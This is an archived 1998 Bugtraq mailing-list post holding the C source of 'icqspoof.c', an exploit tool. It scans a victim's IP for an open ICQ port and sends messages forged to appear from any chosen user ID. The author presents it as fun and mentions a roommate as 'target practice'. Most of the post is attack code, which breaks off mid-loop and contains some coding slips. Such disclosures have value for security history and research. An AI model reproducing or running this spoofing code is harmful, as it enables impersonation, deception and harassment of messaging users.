Everhart,Glenn From: Seth McGann [smm@WPI.EDU] Sent: Sunday, April 05, 1998 6:38 PM To: BUGTRAQ@NETSPACE.ORG Subject: ICQ Spoofer /* icqspoof.c - This program sends a message to a given ICQ user and it * will appear to be from an arbitrary UIN. Loads of fun. * * Notes: * As many of you know icqflood.c has been distributed by enkil^ and irQ. * They claim their program is all their own work. Yet the "header" they * use contains MY UIN. Strange, eh? * A simple, "Packet Dump that we based our exploit on provided by Seth * McGann" would have been enough. Even though I didn't specifically * request credit it might have been nice to say something. In the future * when you expand on someone's idea and work (yeah those traces didn't fall * out of the sky ya know) give credit where credit is due. * * Concept, Protocol Analysis and Coding: Seth McGann * Some functions dealing with socket scanning: icqflood.c by enkil^ and irQ * With help from my roomate (target practice) * And yes, this still works with ICQ 98. Coming soon: Chat and File Spoofing */ #include #include #include #include #include #include #include #include int main(argc, argv) int argc; char *argv[]; { struct sockaddr_in sin; int sock,i,x,y; unsigned long uin; int Port; char buffer[16]; int connected = 1; typedef struct icq_prot { unsigned char magicNum[2]; unsigned char UIN[4]; unsigned char unknown[4]; unsigned char unknown2[2]; unsigned char length[2]; unsigned char strng[256]; } icq_prot; icq_prot sendMessage; unsigned long temp; unsigned char bigguy[1024]; if (argc != 6) { fprintf(stderr,"Usage: icqspoof ip SpoofedUIN message startport endport\n"; exit(1); } Port = ScanPort(argv[1],atoi(argv[4]),atoi(argv[5])); if (Port == -1) { printf("No ICQ Port Found =(\n"); return; } sendMessage.magicNum[0]=0x2e; sendMessage.magicNum[1]=0x0; sendMessage.unknown[0]=0x04; sendMessage.unknown[1]=0x01; sendMessage.unknown[2]=0x0F; sendMessage.unknown[3]=0x0; sendMessage.unknown2[0]=0x01; sendMessage.unknown2[1]=0x0; temp=atol(argv[3]); sendMessage.UIN[0]=temp & 0xFF; sendMessage.UIN[1]=(temp >> 8) & 0xFF; sendMessage.UIN[2]=(temp >> 16) & 0xFF; sendMessage.UIN[3]=0; strncpy(sendMessage.strng,argv[4],256); sendMessage.length[0]=strlen(sendMessage.strng)+1; sendMessage.length[1]=0; if (!(sock = socket(AF_INET, SOCK_STREAM, 0))) { printf("Error: Unable to creat socket, Exiting.\n"); exit(1); } sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(argv[1]); sin.sin_port = htons(Port); if (connect(sock, (struct sockaddr*)&sin,sizeof(sin))==-1) { printf("Error Connecting to Socket\n"); return; } x=20; bigguy[0]=sendMessage.magicNum[0]; bigguy[1]=sendMessage.magicNum[1]; bigguy[2]=sendMessage.UIN[0]; bigguy[3]=sendMessage.UIN[1]; bigguy[4]=sendMessage.UIN[2]; bigguy[5]=sendMessage.UIN[3]; bigguy[6]=0x02; bigguy[7]=0x00; bigguy[8]=0xEE; bigguy[9]=0x07; bigguy[10]=0x00; bigguy[11]=0x00; bigguy[12]=sendMessage.UIN[0]; bigguy[13]=sendMessage.UIN[1]; bigguy[14]=sendMessage.UIN[2]; bigguy[15]=sendMessage.UIN[3]; bigguy[16]=0x01; bigguy[17]=0x00; bigguy[18]=sendMessage.length[0]; bigguy[19]=sendMessage.length[1]; for(i=0;i